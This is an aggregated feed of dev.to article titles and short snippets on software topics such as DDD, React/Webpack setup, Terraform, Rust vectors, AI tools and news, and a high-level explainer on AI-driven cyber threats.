    When faced with refactoring a poorly architected project, or designing a new one, choosing the right patterns can be overwhelming. The Tactical Decision Tree, popularized by Vlad Khononov in his book "Learn Domain Driven Design", offers a clear, step-by-step guide. It helps you select the appropriate tactical patterns from Domain-Driven Design (DDD) based on the specific needs of different parts of your application. This ensures that you invest complexity where it's needed and keep things simple everywhere else. The tree begins with the most fundamental question, which serves to partition your system logically. The first and most critical step is to identify the type of subdomain you are working on. In DDD, the entire business domain is divided into several subdomains. Core Subdomain: Thi…  ( 6 min )
    A Funny Chat About Bundlers
    Dev1: Dev2: Dev1: Dev2: Dev1: Dev2: Now it's your turn to tell me your experience with Bundler and some new things.  ( 3 min )
    Why I Built Imagen4 After 200 Failed AI Image Generations
    Tired of AI tools that can't get hands right? I created Imagen4 to solve modern AI image generation - one model that nails details other AIs miss. It was 3 AM when I finally admitted defeat. My client needed a simple product mockup - just a phone with a custom case design. After 47 generations across 5 tools, every AI still gave me: • Six-fingered hands 🤦 • Floating logos • "Abstract" textures that looked like GPU artifacts I had promised "AI magic" and delivered nightmare fuel instead. Why Most AI Image Tools Fail The Frankenstein Effect Models stitch together random trained elements instead of understanding spatial relationships. That's why you get: background = random_cityscape() foreground = random_person() return background + foreground # 🤮 Training Data Blind Spots Most models fail on: • Hands (obviously) • Text (always garbled) • Branded items (illegal training data) No Creative Constraints Without proper guidance, AIs default to "psychedelic clipart" aesthetics. The Solution: Constrained AI Generation Physical constraints (depth maps, normal vectors) Style anchors (reference color palettes) Iterative refinement That's why I built https://www.imagen4.org/ Try It Yourself (Free Tier Available)  ( 3 min )
    SphereConnect: Creating Team Vibes for Axero's Intranet Challenge
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space Meet SphereConnect! It's an intranet dashboard I created for Axero's "Holistic Webdev: Office Space" challenge, and honestly, I had way too much fun building it. Think of it as your team's digital meeting place where working together feels natural instead of forced. Why SphereConnect? Because I wanted something that showed how it brings people together in one connected space, like a digital circle where ideas flow freely and everyone stays connected. Perfect match for what Axero had in mind! Explore SphereConnect live! 🌐 Live Demo: SphereConnect 📂 GitHub Repo: github.com/highflyer910/sphereconnect Dark Theme: Light Theme: Mobile View: A responsive 1-column layout, ensuring u…  ( 5 min )
    Has Alibaba's New Qwen3 AI Really Outperformed Kimi K2 and Claude 4 Opus While Being Open Source?
    Alibaba has launched a powerful new AI model called Qwen3 that is shaking up the field. This open-source tool is generating excitement for its strong performance on various tests, especially against competitors like Kimi K2 and Claude 4 Opus. Let's look at what makes Qwen3 stand out and why it matters. Qwen3 represents a major step forward in open-source AI. It features a design that focuses on specialized capabilities, making it more effective for specific tasks. The model includes variants that handle everything from quick conversations to complex problem-solving, with sizes ranging from lightweight options for devices to larger setups for demanding work. One key aspect is its efficiency. Qwen3 uses a system where it activates only the necessary parts for each job, which helps save resou…  ( 4 min )
    What Is an AI Cyber Attack? Understanding Modern AI-Driven Threats
    Artificial intelligence has introduced a new chapter in cybersecurity, both as a powerful defense tool and a potential threat in itself. AI: A Double-Edged Sword in Cybersecurity Emerging AI-Powered Threats AI-Based Phishing and Deepfakes 2.Automated Exploit Scanning 3.Adaptive Malware 4.AI-Led Social Engineering Real-World Example WormGPT and FraudGPT on dark web forums. These models, designed without ethical restrictions, are being marketed to write phishing emails, generate malicious code, and exploit software vulnerabilities, signaling a shift in how threats are created and distributed. Why AI-Powered Attacks Are So Difficult to Stop Building a Defense Against AI Threats Deploy AI-Based Security Tools: Use solutions that detect unusual behavior, not just known malware. Invest in Awareness: Train teams to spot deepfakes and sophisticated phishing attempts. Strengthen Access Controls: Implement multi-factor authentication and advanced identity checks. Protect Internal AI Systems: Secure your own models, training data, and APIs from tampering or misuse. Update Response Plans: Ensure your incident response accounts for AI-specific threats like rapid malware propagation or voice-based fraud. AI cyber attacks are not a future concern—they’re happening now. Combating them requires proactive measures, continuous adaptation, and security strategies that evolve just as quickly as the threats themselves. As AI-powered threats grow more advanced, prioritizing robust security for AI is essential to protect systems, data, and user trust. Organizations looking to stay ahead should explore purpose-built AI security products designed to defend against evolving risks in the Gen AI era.  ( 4 min )
    What Is Isaac Sim? Features, Use Cases & Setup Guide
    In the ever-evolving world of robotics and artificial intelligence, testing in the real world can be slow, costly, and risky. Enter Isaac Sim—NVIDIA’s powerful, physics-based simulation platform that’s transforming how robots are trained, tested, and deployed in virtual environments. If you’ve ever wondered how engineers simulate robot movements, train AI models safely, or build digital twins of the real world, Isaac Sim is the answer. Isaac Sim is a robotics simulation toolkit developed by NVIDIA and built on their Omniverse platform. It provides a photorealistic, real-time 3D simulation environment where developers can design, test, and train AI-powered robots before deploying them in the real world. The main objective of Isaac Sim is to bridge the gap between simulation and reality usin…  ( 5 min )
    Performance testing maturity: A comprehensive guide
    Performance testing maturity: A comprehensive guide When Amazon's Prime Day experiences slowdowns, they lose $1.6 billion annually for every 100ms of delay. When banking applications crash during peak hours, the consequences ripple far beyond technical teams into regulatory compliance, customer churn, and damaged reputation. Yet despite these high stakes, most organizations approach performance testing with ad hoc methods and reactive measures that leave critical systems vulnerable to failure. The reality is that most organizations still operate at the initial maturity level of performance testing, relying on sporadic testing driven by urgent issues rather than systematic testing processes. Understanding performance testing maturity models Performance testing maturity models serve as stra…  ( 13 min )
    MCP (Model Context Protocol) Explained Simply 🤖
    What is MCP Model Context Protocol (MCP) is a new open standard that makes it easier for AI systems to connect with external data and services.  In simple terms, MCP acts a bit like an API for AI models – it provides a standard “language” for AI programs to access tools or data from the outside world. This means developers no longer have to write one-off integrations for each service; instead, an AI can use MCP to securely interface with many different data sources through a unified protocol.  Think of MCP like a USB-C port for AI applications: it’s a single, standardized way to plug an AI model into various databases, apps, or APIs. MCP was developed by Anthropic (the AI company behind Claude) and open-sourced in late 2024. It quickly gained traction as a standard for connecting large l…  ( 6 min )
    Angular CLI: Local vs Global Install
    Global Installation npm install -g @angular/cli A global install allows you to run Angular CLI commands from anywhere on your system. npm install @angular/cli This installs the CLI only within your project directory. This ensures all team members use the same CLI version, preventing version mismatch issues during development or deployment. To install specific version of Angular CLI locally, use following command: npm install @angular/cli@19.2.15  ( 3 min )
    Create a ReactJs Webpack project manually without create-react-app
    Step 01: Initialize the Project mkdir RW cd RW npm init -y Step 02: Install Dependencies npm install react react-dom npm install --save-dev webpack webpack-cli webpack-dev-server npm install --save-dev babel-loader @babel/core @babel/preset-env @babel/preset-react npm install --save-dev html-webpack-plugin npm install --save-dev css-loader style-loader Step 03: Create Project Structure mkdir public cd public/ touch index.html cd .. mkdir src cd src touch index.js touch App.js cd .. touch .babelrc touch webpack.config.js touch package.json public/index.html: React App src/index.js: import React from 'react'; import ReactDOM from 'react-dom'; import App from './App'; ReactDOM.render(, document.getElementById('root')); src/App.js: import React from 'react'; const App = () => { return Hello React with Webpack! ; }; export default App; .babelrc: { "presets": ["@babel/preset-env", "@babel/preset-react"] } webpack.config.js: const path = require('path'); const HtmlWebpackPlugin = require('html-webpack-plugin'); module.exports = { entry: './src/index.js', output: { path: path.resolve(__dirname, 'dist'), filename: 'bundle.js', clean: true, }, mode: 'development', module: { rules: [ { test: /\.js$/, exclude: /node_modules/, use: 'babel-loader', }, { test: /\.css$/i, use: ['style-loader', 'css-loader'], } ], }, plugins: [ new HtmlWebpackPlugin({ template: './public/index.html', }) ], devServer: { static: path.join(__dirname, 'dist'), compress: true, port: 3000, open: true, }, }; Update package.json: "scripts": { "start": "webpack serve --mode development", "build": "webpack --mode production" } Run: npm start Your React app will be available at http://localhost:3000 That's it.  ( 3 min )
    🧠 Day 12 of #100DaysOfRust — Deep Dive into Vectors in Rust
    Today, I explored the Vec type in Rust — a powerful and flexible way to store a list of values in memory. Vectors are dynamic arrays and are part of Rust's standard library collections. Let’s break down everything I learned. 📦 What is a Vector? A Vector is a growable array type that stores multiple values of the same type, located contiguously in memory. They’re great for use-cases like: Storing prices in a shopping cart. Collecting file lines. Managing dynamic lists. 🛠 Creating a Vector Using Vec::new (Empty Vector with Type Annotations) let v: Vec = Vec::new(); Since no values are inserted yet, you must specify the type. Using vec! Macro (With Values) let v = vec![1, 2, 3]; Rust infers the type as Vec from the initial values. ✏️ Updating a Vector Use .push() to append elements: …  ( 5 min )
    Static analysis for pull requests. Another step towards regularity
    Want static analysis to run not just locally, but also on every pull request? Want bugs to be caught before they reach the main branch? In this article, we'll show how to set it up in the GitHub Actions pipeline. One effective way to use static analysis regularly is to integrate it into a Continuous Integration (CI) workflow, which delivers regular code merges into a shared repository, automated builds, and testing. CI typically runs a set of various tests, but it doesn't mean that testing should be our only safeguard. Static analysis can detect errors and potential vulnerabilities even before we run tests, which strengthens the overall process. Using static analysis in CI helps catch issues early, avoid pushing errors to the main branch, and boosts the overall project quality. However, r…  ( 11 min )
    Beyond Custom Events: 9 Native Browser APIs Every Web Developer Should Know
    So you just discovered CustomEvent in JavaScript and feel like a wizard? Get ready — the browser has a whole toolbox of magic you haven’t explored yet. In my last post, we explored how CustomEvent and dispatchEvent let you build decoupled, modular web apps using your own events like user:loggedIn or pdf:uploaded. But Custom Events are just the beginning. The browser gives us built-in powers for observing, reacting, communicating, and scheduling — without any external libraries or frameworks. Here are 9 other native APIs and patterns that’ll seriously level up your frontend game. MutationObserver – Watch the DOM like a spy Want to react when someone adds a new element to the DOM? Or modifies attributes on the fly? const observer = new MutationObserver((mutations) => { mutations.forEach(…  ( 5 min )
    AI and Digital Transformation: Two Sides of the Same Coin
    Think about it: every time you've watched a company completely flip its game (hello, Netflix going from DVDs to streaming king), there's been some serious digital rewiring happening behind the scenes. Now AI's the secret sauce making that transformation faster, smarter, and way more powerful. Digital transformation is basically giving your business a complete makeover – new processes, fresh tech, and a mindset shift that puts data at the center of everything. AI supercharges this journey by acting as both the engine and the fuel for change. Here's where it gets interesting: 92 percent of companies plan to increase their AI investments over the next three years, but most are still treating AI like a side project rather than the backbone of their digital strategy. Your digital transformation…  ( 7 min )
    Terraform: using import, and some hidden pitfalls
    Terraform has two ways to bring existing resources under Terraform management — using the Terraform CLI and the terraform import command, or using the import resource. Why might we need to import resources? if we already have a manually configured (the “clickops”) service that we want to bring under Terraform management (for example, the common history when it was done as a Proof of Concept, and then went into Production) if we have resources that were created with another IaC system, for example, CloudFormation if we lost our state file and need to restore it or if we split one large project into smaller ones and create new state files In addition to the Terraform CLI and the import block, there are tools like Terraformer and Terracognita that do some of the work themselves - but today we…  ( 9 min )
    My 2-Year-Old Built His First Video Game in 8 Minutes Using AI (Complete Setup Guide)
    My almost-3-year-old has been having a blast with GCompris educational games and we recently showed him how to make simple sprites move around in Scratch. One day, he announced that he wanted to "make a red car game." Not play a red car game. Make one. This was something I'd been curious about—could a toddler actually use AI tools to create something real? Spoiler alert: he absolutely could. The beautiful thing about modern AI coding tools is that they've eliminated the biggest barrier between kids and creation: syntax. My son doesn't need to understand semicolons or bracket placement—he just needs to be able to describe what he wants. Here's exactly how we set up his development environment in about 10 minutes: Sign up for Github (Yes, my toddler has his own Github account ❤️) Download Vi…  ( 8 min )
    AWS Auto Scaling Groups: A Fundamental Mistake (Beginner Edition)
    The Mistake It was 5 AM. I was tired, a bit overconfident, and really wanted to see my ASG + ALB setup in action. So I skipped a pretty important step - testing the EC2 Launch Template, and jumped straight into building the full infrastructure. Once everything was up, I opened the ALB’s DNS URL… and saw a blank page. After some digging, I realized: the EC2 Launch Template I used didn’t have my server. It was empty. That’s when I learned that launch templates don’t store your file system. If you want your server to work, you need to create a proper AMI or add user data to install everything during boot. I was learning about AWS Auto Scaling Groups (ASGs). I already had a decent understanding of VPCs, subnets, route tables, IGWs, and NAT Gateways. I’d also played around with Application Lo…  ( 4 min )
    Securing Your Internal Tools: Implementing Identity-Aware Proxy (IAP) for GKE Resources with CDKTF
    Hello, Today I want to share something that's become increasingly critical in our cloud-native world — securing internal tools and dashboards without the complexity of traditional VPN setups. Picture this: Your company has grown from a small startup to a mid-sized organization. You have internal dashboards, monitoring tools, admin panels, and various services running on Google Kubernetes Engine (GKE). Initially, maybe you secured these with basic auth or just left them on internal networks. But as your team grows and remote work becomes more common, you realize you need something more robust, more scalable, and frankly, more professional. That's where Google's Identity-Aware Proxy (IAP) comes in, and today I'll walk you through implementing it using Infrastructure as Code with CDKTF. Ident…  ( 10 min )
    🚀 Day 15 - DSA Problem Solving: Generate Alternating Binary Triangle Pattern
    📌 Problem 1: Generate Alternating Triangle Write a function that takes a number n and prints a triangle of size n where each row contains alternating 1s and 0s, starting with 1. To generate this alternating binary triangle, follow these steps: Create two variables: pattern → an empty string to accumulate the full result. currentValue → a temporary variable initialized inside each row to 1. Outer loop (i from 0 to n - 1): Controls the number of rows. For each row: Set currentValue = 1 before entering the inner loop. Inner loop (j from 0 to i): Controls the number of columns (or characters) in that row. Append currentValue to pattern. Flip currentValue: If currentValue === 1, set it to 0. Else, set it to 1. 📥 Input: n = 5 📥 Output: 1 10 101 1010 10101 /** * Generates a triangle pattern with alternating 1s and 0s * @param {number} n - Number of rows in the pattern * @returns {string} - The generated triangle pattern */ function generateAlternatingTriangle(n) { let pattern = ""; for (let i = 0; i < n; i++) { let currentValue = 1; // Start each row with 1 for (let j = 0; j <= i; j++) { pattern += currentValue; currentValue = currentValue === 1 ? 0 : 1; // Toggle value } pattern += "\n"; // New line after each row } return pattern; } // ✅ Test Case const n = 5; console.log(`Pattern for n = ${n}:\n`); console.log(generateAlternatingTriangle(n));  ( 3 min )
    Calculate Impedance: A Practical Guide for PCB Designers
    Disclaimer: This article reflects my personal insights for educational purpose only, and is neither sponsored nor affiliate content. When I first encountered high‑speed PCB design, I underestimated just how critical impedance control would be to signal integrity. Over the years, I’ve learned that mismanaged impedance can turn a perfectly laid‑out board into a nightmare of reflections, EMI issues, and flaky performance. Calculate Impedance: A Practical Guide for PCB Designers In this guide, I’ll walk you through everything I’ve picked up, step by step, from the fundamentals of impedance to practical tips and tools (including a service like JLCPCB’s Impedance Calculator) that can save you hours of trial and error. Impedance (symbol Z) is the total opposition an AC waveform encounters as it …  ( 5 min )
    Measures of Central Tendency and Their Importance in Data Science
    In any data analysis or statistical endeavour, understanding the behaviour of a dataset is fundamental. One of the primary ways to summarise and interpret data is through measures of central tendency, which identify the central or typical value around which data points cluster. The three main measures of central tendency are mean, median, and mode. The mean, commonly known as the average, is calculated by summing all values in a dataset and dividing by the number of values. For example, if data represents the ages of participants in a survey, the mean gives the general age around which most participants’ ages are spread. Advantages: Uses all data points, making it highly representative when there are no extreme outliers. Limitations: Sensitive to outliers, which can distort the mean away f…  ( 4 min )
    What is a Business Intelligence Dashboard and How Can It Help You?
    Why is a Business Intelligence Dashboard so important? A business intelligence dashboard gives you one place to check everything happening in your business. It shows real-time data in simple visuals like graphs and charts. This tool helps companies make better decisions, track performance, and find problems early. A business intelligence dashboard is a tool that helps you view your company data clearly using charts and graphs. It saves time, spots trends early, and helps make better decisions by collecting real-time information in one place. How BI dashboards work Who uses them and why Examples of real use Important features Tips to build a strong dashboard Tools to create your own What mistakes to avoid Integration and automation options Data accuracy challenges Security concer…  ( 8 min )
    15 Best AI Code Generators in 2025
    You’re really missing out on something if you still haven’t integrated AI code generators into your workspace in 2025. Why? Because these tools go beyond autocomplete they boost productivity, help avoid technical debt, and ensure compliance across your entire codebase. As a Lead Engineer, I work across mixed stacks. I need tools that can generate code, refactor safely, follow team patterns, and respond to custom instructions. After testing several, I’ve compiled this list of the top 15 AI code generators that are worth your time. Qodo Gen is an AI code assistant tool designed to generate, test, review, and explain code inside VS Code or JetBrains. It deeply understands your repo using context retrieval and supports structured commands like /implement, /review, and /test-suite. It also int…  ( 5 min )
    💡 Pain Is About Avoiding Pain in the Future - Reflections on The Pragmatic Programmer
    💡 Pain Is About Avoiding Pain in the Future Reflections on The Pragmatic Programmer “Programming is about trying to make the future less painful. It’s about making things easier for our teammate. It’s about getting things wrong and being able to bounce back. It is about good habits. It’s about understanding your toolset.” — The Pragmatic Programmer, 20th Anniversary Edition When I first read this paragraph from The Pragmatic Programmer, it really hit me. For most of my career, I was focused on learning technologies and applying them at work. I thought that was enough. But I was wrong. I used to obsess over writing "clean code" mostly because I didn't want anyone to read my code and think poorly of me. But this reflection made me realize it goes way deeper than that. Writing good co…  ( 5 min )
    How to Build a Personal Budgeting App Like Mint: Complete Guide
    Introduction In 2025, the personal budgeting app market is booming like never before. According to a survey from Business Research Insights, the global personal finance app market is projected to reach $21.4 billion in 2025, with a stunning 20.57% CAGR from 2024 to 2033. Smartphone penetration and digital banking adoption continue to fuel this surge. Meanwhile, AI-powered features and predictive analytics are rapidly shifting basic tools into intelligent financial advisors. An application like Mint can be an excellent choice for businesses seeking to target potential clients with high income potential. Building an app like Mint today isn’t just about tracking expenses; it’s about delivering real-time insights, automation, and personalized advice. Users now demand seamless integration w…  ( 6 min )
    Helping Designers and Developers Align: Design System vs Component Library
    If you've been working with modern front-end development or UI/UX design, you've likely heard the terms Component Library and Design System tossed around—often interchangeably. But despite some overlap, these two concepts serve very different purposes. A component library is a collection of reusable UI elements. Think of it as your project’s toolbox filled with pre-built visual parts: buttons, inputs, dropdowns, modals, cards, and so on. These components usually follow a consistent visual style and are often built using frontend frameworks like React, Vue, or Angular. The goal is to avoid reinventing the wheel every time you need a button or form input. Component libraries help teams: Move faster by reusing elements Maintain consistency across screens Reduce front-end bugs related to layou…  ( 4 min )
    Prompt Engineering for Developers: A Practical Guide
    Prompt engineering is the art of crafting precise instructions for AI models to generate accurate, relevant, and useful outputs. For developers, it’s a critical skill to harness large language models (LLMs) and generative AI tools for tasks like coding, debugging, API design, and database queries. As AI becomes integral to software development, understanding prompt engineering can boost productivity, reduce errors, and unlock advanced workflows. This article explains what prompt engineering is, its key components, types, tools, and actionable examples, guiding developers from beginner to advanced techniques. Prompt engineering involves designing inputs (prompts) to guide AI models toward desired outputs. For developers, it’s like writing a clear spec for a function—vague inputs lead to bug…  ( 6 min )
    Designing The Conveyor CI Pipeline Engine
    In CI/CD Systems, there is a concept of pipelines. Pipelines define the steps of how code changes throughout the entire CI/CD process. Multiple systems like Github Actions, GitLab CI/CD, Jenkins etc all have this functionality of pipelines natively embedded within them, something that Conveyor CI currently lacks. You could engineer a walkaround to implement your own pipeline-like functionality in Conveyor but natively, this functionality does not exist and this is a serious downside existing within Conveyor. This got me thinking, how could I implement it. As you might guess from the name, Conveyor CI was inspired by how a conveyor system in an industry works. Take an example of a car manufacturing factory, the skeleton of the car moves along the conveyor system and at each step there is a …  ( 9 min )
    Setting up a multi-factor dev environment for payment approvals
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    Data Privacy and Compliance Considerations in Webinar Marketing
    Webinars have become a powerful marketing and thought leadership tool across industries, enabling brands to educate, engage, and convert their target audiences at scale. However, collecting, storing, and processing attendee data during webinars must be approached with utmost care to ensure compliance with global data privacy regulations such as GDPR (General Data Protection Regulation), CCPA (California Consumer Privacy Act), and various regional laws. Transparent Consent: Setting the Foundation for Trust The cornerstone of data privacy compliance is informed, explicit consent. When attendees register for a webinar, clearly communicate: What data is collected (e.g. name, email, job title, location). Why it is collected (e.g. to provide access, send reminders, personalise content). How it w…  ( 4 min )
    How to use Terraform to generate secrets
    Managing secrets like passwords or encryption keys is a critical part of deploying and managing a secure infrastructure. Doing it manually is risky and time-consuming and also can be error-prone. In this blog post, I’ll walk you through how you can automatically generate a secure password, set an expiry date, and then store it safely in Azure Key Vault all via Terraform. Let’s dive in. Before we start, make sure you have the following: Terraform v1.10.0 or later Access to an Azure subscription An existing Azure Key Vault Basic familiarity with Terraform and Azure resources In this blog post we’re going to do the following: Generate a secure 20-character password Store the password in Azure Key Vault as a secret Sets an expiry date on the password when stored within Azure Key Vault The Ter…  ( 5 min )
    The Best Tools to Monitor AI Agents in Real-Time for Quality
    Ensuring the quality and reliability of AI agents in production requires robust, real-time monitoring and observability. Below is a professional, evidence-based list of leading platforms—each with unique strengths for tracing, evaluation, and live monitoring of AI agents—based strictly on information provided on their official websites. Maxim AI Overview: Maxim AI is a comprehensive platform purpose-built for end-to-end evaluation, simulation, and real-time observability of AI agents. It empowers teams to monitor granular traces, run live evaluations, and set up custom alerts to maintain agent quality in production. Key Real-Time Monitoring Features: Granular Tracing: Distributed tracing for both traditional and LLM-based agent workflows, with visual trace views for step-by-step debuggi…  ( 5 min )
    Extrieve Releases Flutter SDK to Auto-Detect & Extract OCR from ID Cards
    A while back, we were working on a mobile app that needed KYC verification. But the minute we got into it, it turned into a mess — multiple SDKs, multi - API calls, security -challenged, managing diverse document formats, ensuring accurate document cropping, complex data (Like Aadhaar) masking rules and poor internet in the field. It’s a workflow that frequently introduces friction, latency, and compliance risks. We wanted something simple: scan a document, extract the data, and keep it all offline. But nothing out there really ticked all the boxes. So, we ended up building it ourselves. What came out of it is a Flutter plugin available now on pub.dev that wraps around our SplicerAi SDK. Here is now it transforms your document processing workflow Full On-Device Processing: handles the f…  ( 4 min )
    Build Custom Components for Angular Reactive Forms with ControlValueAccessor
    Introduction Angular's reactive forms are incredibly powerful, providing a robust way to manage form input and validation. However, the true flexibility of Angular forms shines when you need to go beyond standard HTML input elements and create your own custom form controls. This is where the ControlValueAccessor interface becomes an indispensable tool, acting as the crucial bridge between your custom component and Angular's sophisticated form machinery. In this post, we will focus entirely on creating our reusable custom component from the ground up in Angular 20. You'll learn how to implement ControlValueAccessor to enable seamless two-way data binding, making your custom component fully prepared for integration with Angular's reactive forms, and how to dynamically enable and disable it…  ( 9 min )
    Access and Authorization Management in the OneEntry Platform
    Managing access rights and authorization within the OneEntry platform forms the foundation upon which the security and functional integrity of any modern digital product is built. The more complex the application, the more critical accurate access delineation and reliable user identification become. Even the smallest error in permissions configuration can result in data leaks, application compromise, and severe reputational damage. The OneEntry platform addresses these challenges comprehensively and thoughtfully. It provides developers with flexible yet easy-to-learn tools that allow managing access to content, dividing rights between various roles, and smoothly integrating with existing authorization mechanisms. As a result, users get precisely the access they need, and developers save ti…  ( 9 min )
    Emberstone: Why I built my own dark theme (and what I learned along the way)
    🕳️ It all started with a rabbit hole… One evening, I fell into r/unixporn. You know the kind of community where your terminal looks like a Blade Runner set and every screenshot is a mood board. I loved dark themes. But most of them felt too cold, more like a corporate hacker aesthetic than a place I’d want to spend hours in. 🔥 The idea behind Emberstone Mood: dark, yes… but inviting. Goal: readable, balanced contrast, pleasant for long sessions. Accessibility: good enough to avoid eye strain and UX nightmares. The name? Emberstone : the glow of embers in the dark. 🛠️ What I wanted to cover I didn’t want just a VS Code theme. I wanted an ecosystem: ✔ Terminals: Konsole, Hyper, Warp, iTerm2 (coming soon) ✔ Browsers: Firefox ✔ Comms: Slack, Discord (coming soon) ✔ Media: Spotify via Spicetify ✔ Websites (Stylus): ChatGPT, Reddit, Twitter, GitHub, YouTube (WIP) A theme that doesn’t stop at your IDE but extends across your digital environment. ✅ The good and the… real-world stuff Upsides: Challenges: 📚 What I’ve learned Theme design is craft: it’s not “just colors.” Massive respect to theme maintainers: every theme you install in 3 clicks hides hours of invisible work. 🚀 What’s next? Emberstone is a side project. It won’t be perfect (especially solo). It’s open source: Emberstone on GitHub. Try it. Break it. Improve it. Or just steal ideas, whatever works for you will make me happy.  ( 4 min )
    Resetting a User’s Password in Prowler via Admin API Access
    In this guide, you’ll learn how to reset a user’s password in the Prowler App using the REST API and an admin account. This is useful when a user forgets their password and the GUI does not provide a reset option. 📌 Overview Prowler’s API allows password updates through the /users/{id} endpoint. However, in most cases, changing a password requires authentication with the user’s current credentials. This guide demonstrates how an admin account can bypass that requirement and reset passwords for any user. ⸻ ⚠️ Prerequisites Before using the script: ⸻ 🧩 How the Script Works ⸻ import requests import json import urllib3 # Disable SSL verification warnings (for dev/test environments) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # === Configuration === apiBaseUrl =…  ( 4 min )
    📦 Understanding props in React — The Key to Reusable Components
    In React, props (short for properties) allow you to pass data from a parent component to a child component. It’s one of the most important concepts that makes components reusable and dynamic. 👉 Example: function Welcome(props) { Used like this: 📌 Key points: 💡 Bonus tip: Use destructuring for cleaner code function Welcome({ name }) { Mastering props is your first step toward building clean and scalable React apps.  ( 3 min )
    The API Apocalypse: When Third-Party Services Turn into Supervillains
    Introduction Remember when APIs were your best friends? They brought you Google Maps in a click, handled payments via Stripe like magic, and even let you sprinkle in some AI with OpenAI's API. But just like that one friend who borrows your charger and never gives it back, APIs can betray you. Welcome to the API Apocalypse—where once-dependable third-party services become ticking time bombs in your tech stack. Modern web apps rely on APIs like caffeine fuels developers. But over-reliance can lead to: Downtime disasters: When the API you're using goes down, so does your app—and your reputation. Pricing betrayals: That sweet free-tier suddenly turns into a money-sucking monster. Versioning vengeance: Oh, you didn't update to v3.2-beta-fork? Too bad, your calls return 500 errors now. The Tw…  ( 4 min )
    How to Deploy a Tetris Game on AWS ECS with Terraform
    💡 Introduction Welcome to the world of cloud computing and automation! In this blog, we’ll dive into one of AWS’s core container orchestration services: Amazon Elastic Container Service (ECS). We’ll start by understanding what ECS is and how it works. Then, to bring theory into practice, we’ll deploy a Tetris game that has been containerized using Docker onto an ECS cluster — all provisioned and automated with Terraform. By the end of this walkthrough, you’ll gain practical experience in: ✅ Writing Terraform configurations to provision AWS infrastructure ✅ Deploying containerized applications on ECS ✅ Understanding the overall workflow of infrastructure as code on AWS So, without further ado — let’s get started! Before we dive into building and deploying, let’s make sure your enviro…  ( 9 min )
    Best Practices for Ensuring AI Agent Performance and Reliability
    Building AI agents in 2025 isn’t just about stringing together some prompts and hoping for the best. As these systems take on increasingly critical roles—from automating research and writing to powering customer support and competitive intelligence—the expectations for reliability, transparency, and robust performance have never been higher. The stakes are real: an unreliable agent isn’t just an annoyance; it can erode trust, create security risks, and stall your business. Below, I’ll dive deeply into the best practices for ensuring your AI agents don’t just work in the lab, but deliver consistent, high-quality results at scale. This isn’t a surface-level checklist; we’ll explore the full lifecycle, from prompt engineering to deployment, and highlight a broad ecosystem of tools—spanning ob…  ( 6 min )
    3 TypeScript Playgrounds You Should Definitely Try
    So, you've been trying to learn TypeScript — or maybe you already know TypeScript but still feel like you're not using it to its full potential. Turns out, there is. Here’s what I found. 👇 Website: https://www.typescriptlang.org/play Let’s start with the official one. This is the playground built and maintained by the TypeScript team themselves. It’s super minimal, super clean, and does exactly what you need — lets you write TypeScript on the left, and see the compiled JavaScript on the right instantly. You can also tweak compiler settings, play with different TypeScript versions, and share your code via URL. It's perfect when you just want to test a small snippet, understand how type-checking works, or see how a generic function behaves. No clutter, no distractions. Just pure TypeScript…  ( 4 min )
    The Problem with Perfect Engineers
    Every engineer has their perfectionist phase. I certainly did. There's a season early in your career where every line of code must be beautiful, every edge case handled, every abstraction future-proofed. That desire to do things “right” feels noble - but over time, experience teaches you that chasing perfection is often just a well-disguised form of avoidance. At some point you realize: perfection is the enemy of done. That doesn't mean we should write careless code. There's still pride in craftsmanship. But what shifts is your understanding of what done really means. You start seeing the bigger picture - that your work exists in a system with deadlines, dependencies, and a team relying on forward momentum. That no feature will ever be perfect the first time, or even the tenth. One of the …  ( 4 min )
    I made a website for my video game backlog
    I wrote about my process here https://dev.to/samejima/the-burning-journal-3lbg but i really just wanted to share the link to anyone who likes how cringe it is <3. or maybe i feel accomplished for finally putting it up https://theburningjournal.abandontheworld.com/  ( 3 min )
    What are the key components of a Portfolio Management Plan?
    1. Portfolio Governance Governance defines how the portfolio is controlled and managed. It includes the roles and responsibilities of the portfolio manager, steering committees, and executives. This structure ensures accountability and clear decision-making authority. Projects and programs must support organizational goals. Strategic alignment ensures that every initiative in the portfolio contributes to overall business priorities. A portfolio management plan sets out clear guidelines for selecting which projects enter the portfolio. It also provides ranking criteria based on ROI, risk, strategic value, and resource requirements. This component details how resources—both financial and human—will be distributed among projects. It helps avoid conflicts, over-allocation, or underutilization of resources. The plan includes a risk management strategy that identifies potential risks, their impact, and mitigation measures at the portfolio level. It establishes key metrics to monitor portfolio performance. Regular progress reports and dashboard tracking are integral to this component. Effective communication among stakeholders ensures transparency and alignment. The communication strategy defines how updates, risks, and results will be shared.  ( 3 min )
    NativeMind vs LM Studio: Which One is Better?
    NativeMind vs LM Studio: Which Local AI is Better for You As large language models (LLMs) continue to evolve, many developers and privacy-conscious users are opting to run these models locally—right on their devices. With concerns over privacy, data exposure, slow internet speeds, and cloud AI dependencies, local AI is gaining popularity. Today, we compare two standout tools for running LLMs locally —— NativeMind and LM Studio. Both are designed to make local AI more accessible, but they are built for different types of users, with different use cases. In this post, we'll break down their features and help you decide which tool best fits your needs. NativeMind is a browser-native AI assistant that enables real-time interaction with webpage content through local LLM inference. As a Chrome…  ( 5 min )
    AWS Academy Program Overview 🚀 | Empowering the Next Generation of Cloud Professionals
    Are you an educator, administrator, or institutional leader ready to elevate your students’ tech capabilities? The AWS Academy Program is your pathway to delivering world-class cloud education, preparing students for tomorrow's in-demand roles—powered by Amazon Web Services. AWS Academy is a global initiative offering higher education institutions a no-cost, cloud-focused curriculum meticulously designed to empower students for AWS certification exams and rewarding cloud careers. Join a dynamic community of educators and leaders, network globally, and stay ahead in the fast-evolving world of cloud technology. Cloud computing skills—especially those validated through AWS—are in high demand across industries. By integrating AWS Academy into your curriculum you: Enhance student employability …  ( 4 min )
    🚀 AutoML Lite: The Ultimate Python Library That Makes Machine Learning Effortless (With Zero Configuration!)
    Transform your data into production-ready ML models in minutes, not hours! AutoML Lite is here to revolutionize how you approach machine learning projects. Whether you're a data scientist, ML engineer, or just getting started with AI, this library will save you countless hours of boilerplate code and configuration headaches. Hours of boilerplate code for data preprocessing Manual hyperparameter tuning that takes forever Complex configuration management across different projects No standardized way to track experiments Limited interpretability out of the box Difficult deployment and model management ✅ Zero Configuration Required - Works out of the box ✅ Complete ML Pipeline - From data to deployment ✅ Production Ready - Built for real-world applications ✅ Advanced Features - Deep lear…  ( 6 min )
